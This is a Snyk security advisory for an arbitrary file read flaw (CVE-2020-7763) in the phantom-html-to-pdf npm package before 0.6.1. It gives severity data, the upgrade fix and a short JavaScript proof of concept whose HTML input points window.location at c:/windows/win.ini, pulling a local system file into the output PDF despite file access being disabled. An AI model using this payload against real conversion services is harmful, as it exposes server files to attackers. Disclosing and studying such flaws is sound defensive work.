Arbitrary File Read Affecting phantom-html-to-pdf package, versions <0.6.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.54% (78th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-PHANTOMHTMLTOPDF-1023598
  • published5 Nov 2020
  • disclosed29 Oct 2020
  • creditAnand Namana

Introduced: 29 Oct 2020

CVE-2020-7763  (opens in a new tab)
CWE-22  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade phantom-html-to-pdf to version 0.6.1 or higher.

Overview

phantom-html-to-pdf is a Convert html to pdf using phantomjs

Affected versions of this package are vulnerable to Arbitrary File Read.

PoC

var fs = require('fs')
var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false
conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
var output = fs.createWriteStream('output.pdf')
console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});

References

CVSS Scores

version 3.1